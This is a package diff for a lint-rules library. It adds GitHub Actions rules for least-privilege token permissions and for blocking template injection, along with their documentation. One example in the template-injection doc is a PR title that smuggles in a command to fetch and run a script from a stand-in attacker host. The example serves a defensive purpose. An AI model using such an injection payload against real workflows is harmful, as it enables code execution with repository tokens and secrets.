605
|
const where = `line ${index + 1}`;
|
|
321
606
|
const report = (message) => {
|
|
322
|
-
violations.push({ file, rule:
|
|
607
|
+
violations.push({ file, rule: RULE_ID5, message, line: index + 1 });
|
|
323
608
|
};
|
|
324
609
|
if (ref.startsWith("docker://")) {
|
|
325
610
|
if (!DOCKER_DIGEST.test(ref)) {
|
|
@@ -347,7 +632,7 @@ function createGithubActionsShaPinnedRule(options = {}) {
|
|
|
347
632
|
const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
|
|
348
633
|
const ciCritical = options.ciCritical ?? true;
|
|
349
634
|
return {
|
|
350
|
-
id:
|
|
635
|
+
id: RULE_ID5,
|
|
351
636
|
category: "ci",
|
|
352
637
|
ciCritical,
|
|
353
638
|
description: "GitHub Actions `uses:` refs must be pinned to a 40-character commit SHA with a `# vN` comment (local ./ actions exempt).",
|
|
@@ -572,7 +857,7 @@ function createPackageShapeRule(options = {}) {
|
|
|
572
857
|
}
|
|
573
858
|
|
|
574
859
|
// src/rules/security-scanner-version-parity.ts
|
|
575
|
-
var
|
|
860
|
+
var RULE_ID6 = "security-scanner-version-parity";
|
|
576
861
|
function createSecurityScannerVersionParityRule(options = {}) {
|
|
577
862
|
const scanner = options.scanner ?? "gitleaks";
|
|
578
863
|
const versionVariable = options.versionVariable ?? "GITLEAKS_VERSION";
|
|
@@ -597,7 +882,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
|
|
|
597
882
|
const runtimeCheck = new RegExp(`\\b${name}\\s+version\\b`, "u");
|
|
598
883
|
const mentionsScanner = new RegExp(name, "iu");
|
|
599
884
|
return {
|
|
600
|
-
id:
|
|
885
|
+
id: RULE_ID6,
|
|
601
886
|
category: "ci",
|
|
602
887
|
ciCritical,
|
|
603
888
|
description: `The ${scanner} version pinned in the workflows must equal the one in ${hookFile}, and the hook must compare a native ${scanner} against it at run time.`,
|
|
@@ -616,7 +901,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
|
|
|
616
901
|
}
|
|
617
902
|
const violations = [];
|
|
618
903
|
const report = (file, message) => {
|
|
619
|
-
violations.push({ file, rule:
|
|
904
|
+
violations.push({ file, rule: RULE_ID6, message });
|
|
620
905
|
};
|
|
621
906
|
if (ciVersions.size > 1) {
|
|
622
907
|
report(
|
|
@@ -669,7 +954,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
|
|
|
669
954
|
}
|
|
670
955
|
|
|
671
956
|
// src/rules/service-image-digest-pin.ts
|
|
672
|
-
var
|
|
957
|
+
var RULE_ID7 = "service-image-digest-pin";
|
|
673
958
|
var DIGEST2 = /@sha256:[0-9a-f]{64}$/u;
|
|
674
959
|
var KEY_LINE = /^(\s*)(?:-\s+)?([\w-]+):\s*(.*)$/u;
|
|
675
960
|
var DEFAULT_COMPOSE_GLOBS = anywhereGlobs(
|
|
@@ -677,7 +962,7 @@ var DEFAULT_COMPOSE_GLOBS = anywhereGlobs(
|
|
|
677
962
|
(stem) => ["", ".*", "-*"].flatMap((infix) => ["yml", "yaml"].map((ext) => `${stem}${infix}.${ext}`))
|
|
678
963
|
)
|
|
679
964
|
);
|
|
680
|
-
function
|
|
965
|
+
function indentOf3(line) {
|
|
681
966
|
return /^\s*/u.exec(line)?.[0].length ?? 0;
|
|
682
967
|
}
|
|
683
968
|
function workflowImages(text) {
|
|
@@ -729,7 +1014,7 @@ function composeImages(text) {
|
|
|
729
1014
|
if (line.trim() === "" || line.trimStart().startsWith("#")) {
|
|
730
1015
|
continue;
|
|
731
1016
|
}
|
|
732
|
-
const indent =
|
|
1017
|
+
const indent = indentOf3(line);
|
|
733
1018
|
if (indent === 0) {
|
|
734
1019
|
break;
|
|
735
1020
|
}
|
|
@@ -763,7 +1048,7 @@ function violationsFor(file, images, allowUnpinned) {
|
|
|
763
1048
|
const reference = image.split("@")[0];
|
|
764
1049
|
return {
|
|
765
1050
|
file,
|
|
766
|
-
rule:
|
|
1051
|
+
rule: RULE_ID7,
|
|
767
1052
|
message: `line ${line}: image "${image}" is not pinned by digest. Write \`${reference}@sha256:<digest>\` (resolve it with \`docker buildx imagetools inspect ${reference}\`) so CI and local runs use the same bytes.`,
|
|
768
1053
|
line
|
|
769
1054
|
};
|
|
@@ -776,7 +1061,7 @@ function createServiceImageDigestPinRule(options = {}) {
|
|
|
776
1061
|
const allowUnpinned = new Set(options.allowUnpinned ?? []);
|
|
777
1062
|
const ciCritical = options.ciCritical ?? true;
|
|
778
1063
|
return {
|
|
779
|
-
id:
|
|
1064
|
+
id: RULE_ID7,
|
|
780
1065
|
category: "ci",
|
|
781
1066
|
ciCritical,
|
|
782
1067
|
description: "Workflow service and container images, and docker-compose images, must be pinned by `@sha256:` digest (a service that builds locally is exempt).",
|
|
@@ -1061,6 +1346,8 @@ var RULE_FACTORIES = {
|
|
|
1061
1346
|
"canonical-helpers-single-home": createCanonicalHelpersSingleHomeRule,
|
|
1062
1347
|
"dockerfile-base-image-digest-pin": createDockerfileBaseImageDigestPinRule,
|
|
1063
1348
|
"file-size-ratchet": createFileSizeRatchetRule,
|
|
1349
|
+
"github-actions-least-privilege-permissions": createGithubActionsLeastPrivilegePermissionsRule,
|
|
1350
|
+
"github-actions-no-template-injection": createGithubActionsNoTemplateInjectionRule,
|
|
1064
1351
|
"github-actions-runner-pinned": createGithubActionsRunnerPinnedRule,
|
|
1065
1352
|
"github-actions-sha-pinned": createGithubActionsShaPinnedRule,
|
|
1066
1353
|
"layer-rank": createLayerRankRule,
|
|
@@ -1088,6 +1375,8 @@ export {
|
|
|
1088
1375
|
createCanonicalHelpersSingleHomeRule,
|
|
1089
1376
|
createDockerfileBaseImageDigestPinRule,
|
|
1090
1377
|
createFileSizeRatchetRule,
|
|
1378
|
+
createGithubActionsLeastPrivilegePermissionsRule,
|
|
1379
|
+
createGithubActionsNoTemplateInjectionRule,
|
|
1091
1380
|
createGithubActionsRunnerPinnedRule,
|
|
1092
1381
|
createGithubActionsShaPinnedRule,
|
|
1093
1382
|
createLayerRankRule,
|
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
# `github-actions-least-privilege-permissions`
|
|
2
|
+
|
|
3
|
+
> A workflow's top-level `permissions:` exists, is not `write-all` / `read-all`, and grants no write.
|
|
4
|
+
|
|
5
|
+
## Why
|
|
6
|
+
|
|
7
|
+
The top-level `permissions:` is the `GITHUB_TOKEN` every job gets unless the job says otherwise. A
|
|
8
|
+
write there hands every job, and every third-party action any job runs, the power to push commits,
|
|
9
|
+
cut releases or edit issues. Leaving the block out is worse: the token then falls back to the
|
|
10
|
+
repository's default, which is read-write on many repositories and organisations. A compromised
|
|
11
|
+
action or an injected script can only do what the token allows, so the smallest token is the
|
|
12
|
+
cheapest containment there is.
|
|
13
|
+
|
|
14
|
+
Keep the top level read-only and grant each write on the job that needs it.
|
|
15
|
+
|
|
16
|
+
## What it flags
|
|
17
|
+
|
|
18
|
+
- A workflow with no top-level `permissions:`, naming each job that has no job-level
|
|
19
|
+
`permissions:` either and so runs on the default token. Reported on line 1.
|
|
20
|
+
- `permissions: write-all` and `permissions: read-all` at the top level: every scope, including
|
|
21
|
+
ones the workflow never uses.
|
|
22
|
+
- Every `<scope>: write` in the top-level block (block or flow mapping), one violation per scope, on
|
|
23
|
+
its own line, unless the scope is in `allowTopLevelWrite`.
|
|
24
|
+
|
|
25
|
+
```yaml
|
|
26
|
+
# Bad
|
|
27
|
+
permissions: write-all
|
|
28
|
+
|
|
29
|
+
permissions:
|
|
30
|
+
contents: write
|
|
31
|
+
id-token: write
|
|
32
|
+
|
|
33
|
+
# Good
|
|
34
|
+
permissions:
|
|
35
|
+
contents: read
|
|
36
|
+
jobs:
|
|
37
|
+
release:
|
|
38
|
+
permissions:
|
|
39
|
+
contents: write
|
|
40
|
+
id-token: write
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
## What it leaves alone
|
|
44
|
+
|
|
45
|
+
- A workflow with no top-level block when every job declares its own `permissions:`: the default
|
|
46
|
+
token then reaches no job.
|
|
47
|
+
- `permissions: {}`, and any scope at `read` or `none`.
|
|
48
|
+
- Writes on a job, a `permissions:` input under a step's `with:`, and a commented-out line.
|
|
49
|
+
|
|
50
|
+
## Factory
|
|
51
|
+
|
|
52
|
+
```ts
|
|
53
|
+
createGithubActionsLeastPrivilegePermissionsRule(options?: GithubActionsLeastPrivilegePermissionsOptions): IMetaRule
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
| Option | Type | Default | Meaning |
|
|
57
|
+
| --- | --- | --- | --- |
|
|
58
|
+
| `workflowGlobs` | `string[]` | `['.github/workflows/*.yml', '.github/workflows/*.yaml']` | Workflow files to scan. |
|
|
59
|
+
| `allowTopLevelWrite` | `string[]` | `[]` | Scopes allowed at `write` in the top-level block, for a repo that accepts, say, `contents: write` on a single-job release workflow. |
|
|
60
|
+
| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
|
|
61
|
+
|
|
62
|
+
## Limits
|
|
63
|
+
|
|
64
|
+
Line-based text, not a YAML parse. It checks the top level only; a job that grants itself more than
|
|
65
|
+
it uses is not judged. A reusable workflow (`on: workflow_call`) is held to the same bar, although
|
|
66
|
+
its token can never exceed its caller's.
|
|
67
|
+
|
|
68
|
+
Prior art: zizmor's [`excessive-permissions`](https://docs.zizmor.sh/audits/#excessive-permissions)
|
|
69
|
+
audit and the OpenSSF Scorecard
|
|
70
|
+
[Token-Permissions](https://github.com/ossf/scorecard/blob/main/docs/checks.md#token-permissions)
|
|
71
|
+
check.
|
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
# `github-actions-no-template-injection`
|
|
2
|
+
|
|
3
|
+
> `run:` scripts and `actions/github-script` bodies never expand attacker-controllable `${{ }}` context.
|
|
4
|
+
|
|
5
|
+
## Why
|
|
6
|
+
|
|
7
|
+
GitHub substitutes `${{ }}` into a `run:` script before the shell sees it. A PR titled
|
|
8
|
+
`"; curl https://evil.example/x.sh | sh #` turns `echo "${{ github.event.pull_request.title }}"`
|
|
9
|
+
into a command that runs with the job's `GITHUB_TOKEN` and secrets. On `pull_request_target`,
|
|
10
|
+
`issue_comment` or `workflow_run` that token often has write access, and anyone who can open an
|
|
11
|
+
issue can supply the text. The same holds for the `script:` of `actions/github-script`, which is
|
|
12
|
+
JavaScript built from the substituted text.
|
|
13
|
+
|
|
14
|
+
The fix is to pass the value through `env:` and read it as a variable. An environment variable is
|
|
15
|
+
data; the shell never parses its contents as script.
|
|
16
|
+
|
|
17
|
+
## What it flags
|
|
18
|
+
|
|
19
|
+
A `${{ }}` expression inside a `run:` value (inline, a `|` / `>` block, or a multi-line plain
|
|
20
|
+
scalar) or inside the `script:` input of an `actions/github-script` step, when it names one of:
|
|
21
|
+
|
|
22
|
+
- `github.event.issue.title` / `.body`, `github.event.pull_request.title` / `.body`,
|
|
23
|
+
`github.event.discussion.title` / `.body`
|
|
24
|
+
- `github.event.pull_request.head.ref` / `.head.label`, `github.head_ref`,
|
|
25
|
+
`github.event.workflow_run.head_branch`
|
|
26
|
+
- `github.event.comment.body`, `github.event.review.body`, `github.event.review_comment.body`
|
|
27
|
+
- `github.event.pages.*.page_name`
|
|
28
|
+
- `github.event.commits.*.message` / `.author` / `.committer`, the same under
|
|
29
|
+
`github.event.head_commit` and `github.event.workflow_run.head_commit`
|
|
30
|
+
- `inputs.<name>` and `github.event.inputs.<name>` (option `checkInputs`, on by default), except an
|
|
31
|
+
input the same file declares as `type: boolean`, `number` or `choice`
|
|
32
|
+
- `steps.<id>.outputs.<name>` (option `checkStepOutputs`, off by default)
|
|
33
|
+
|
|
34
|
+
Workflow files and composite actions (`action.yml` / `action.yaml` at any depth) are scanned. A
|
|
35
|
+
shell comment inside a block is still read: GitHub expands expressions there too. Each violation
|
|
36
|
+
carries the 1-indexed line.
|
|
37
|
+
|
|
38
|
+
```yaml
|
|
39
|
+
# Bad
|
|
40
|
+
- run: echo "${{ github.event.pull_request.title }}"
|
|
41
|
+
- uses: actions/github-script@<sha> # v7
|
|
42
|
+
with:
|
|
43
|
+
script: console.log(`${{ github.event.issue.body }}`)
|
|
44
|
+
|
|
45
|
+
# Good
|
|
46
|
+
- env:
|
|
47
|
+
TITLE: ${{ github.event.pull_request.title }}
|
|
48
|
+
run: echo "$TITLE"
|
|
49
|
+
- uses: actions/github-script@<sha> # v7
|
|
50
|
+
env:
|
|
51
|
+
BODY: ${{ github.event.issue.body }}
|
|
52
|
+
with:
|
|
53
|
+
script: console.log(process.env.BODY)
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
## What it leaves alone
|
|
57
|
+
|
|
58
|
+
- The same expression under `env:`, `with:` (other than a github-script `script:`), `if:`,
|
|
59
|
+
`name:` or `defaults.run`. Those are not parsed as script.
|
|
60
|
+
- Contexts nobody outside the repo controls: `github.sha`, `github.ref_name`,
|
|
61
|
+
`github.event.pull_request.number`, `github.event.pull_request.head.sha`, `matrix.*`,
|
|
62
|
+
`secrets.*`, `needs.*`, and `steps.*.outputs.*` unless `checkStepOutputs` is on.
|
|
63
|
+
- A `script:` input of any action other than `actions/github-script`.
|
|
64
|
+
- A YAML comment (`# run: ...`) and the trailing ` # ...` of a plain inline `run:`, which YAML
|
|
65
|
+
strips before GitHub sees the value.
|
|
66
|
+
- Paths with a `node_modules`, `.git`, `dist`, `.turbo` or `coverage` segment.
|
|
67
|
+
|
|
68
|
+
## Factory
|
|
69
|
+
|
|
70
|
+
```ts
|
|
71
|
+
createGithubActionsNoTemplateInjectionRule(options?: GithubActionsNoTemplateInjectionOptions): IMetaRule
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
| Option | Type | Default | Meaning |
|
|
75
|
+
| --- | --- | --- | --- |
|
|
76
|
+
| `workflowGlobs` | `string[]` | `['.github/workflows/*.yml', '.github/workflows/*.yaml']` | Workflow files to scan. |
|
|
77
|
+
| `actionGlobs` | `string[]` | `action.yml` / `action.yaml` at any depth | Composite action metadata to scan. |
|
|
78
|
+
| `skipDirs` | `string[]` | `['node_modules', '.git', 'dist', '.turbo', 'coverage']` | An action path with any of these segments is skipped. |
|
|
79
|
+
| `checkInputs` | `boolean` | `true` | Treat `inputs.*` as attacker-controlled. A reusable workflow or composite action cannot know what its caller passes. |
|
|
80
|
+
| `checkStepOutputs` | `boolean` | `false` | Treat `steps.*.outputs.*` as attacker-controlled. Turn it on when steps echo event text into outputs. |
|
|
81
|
+
| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
|
|
82
|
+
|
|
83
|
+
## Limits
|
|
84
|
+
|
|
85
|
+
Line-based text, not a YAML parse. An expression split across lines, the bracket form
|
|
86
|
+
(`github.event['issue']['title']`), `toJSON(github.event)` and a value laundered through `env.*`
|
|
87
|
+
set from event text are not seen. An expression that only tests a tainted field
|
|
88
|
+
(`${{ contains(github.event.issue.title, 'x') }}`) evaluates to a boolean but is still reported;
|
|
89
|
+
move the test to `if:` or into the script.
|
|
90
|
+
|
|
91
|
+
Prior art: zizmor's [`template-injection`](https://docs.zizmor.sh/audits/#template-injection) audit
|
|
92
|
+
and GitHub's
|
|
93
|
+
[security hardening guide](https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections).
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@noctcore/lint-meta-rules",
|
|
3
|
-
"version": "0.
|
|
3
|
+
"version": "0.5.0",
|
|
4
4
|
"description": "Portable, parameterized lint-meta rules — whole-repo / cross-file invariants ESLint cannot reach — for the @noctcore/harness lint-meta runner.",
|
|
5
5
|
"license": "MIT",
|
|
6
6
|
"type": "module",
|
|
@@ -61,8 +61,8 @@
|
|
|
61
61
|
"test": "bun test"
|
|
62
62
|
},
|
|
63
63
|
"dependencies": {
|
|
64
|
-
"@noctcore/eslint-plugin-contracts": "^0.
|
|
65
|
-
"@noctcore/eslint-plugin-prisma": "^0.
|
|
64
|
+
"@noctcore/eslint-plugin-contracts": "^0.7.0",
|
|
65
|
+
"@noctcore/eslint-plugin-prisma": "^0.5.0",
|
|
66
66
|
"@noctcore/harness": "^0.3.0",
|
|
67
67
|
"@typescript-eslint/utils": "^8.61.1"
|
|
68
68
|
},
|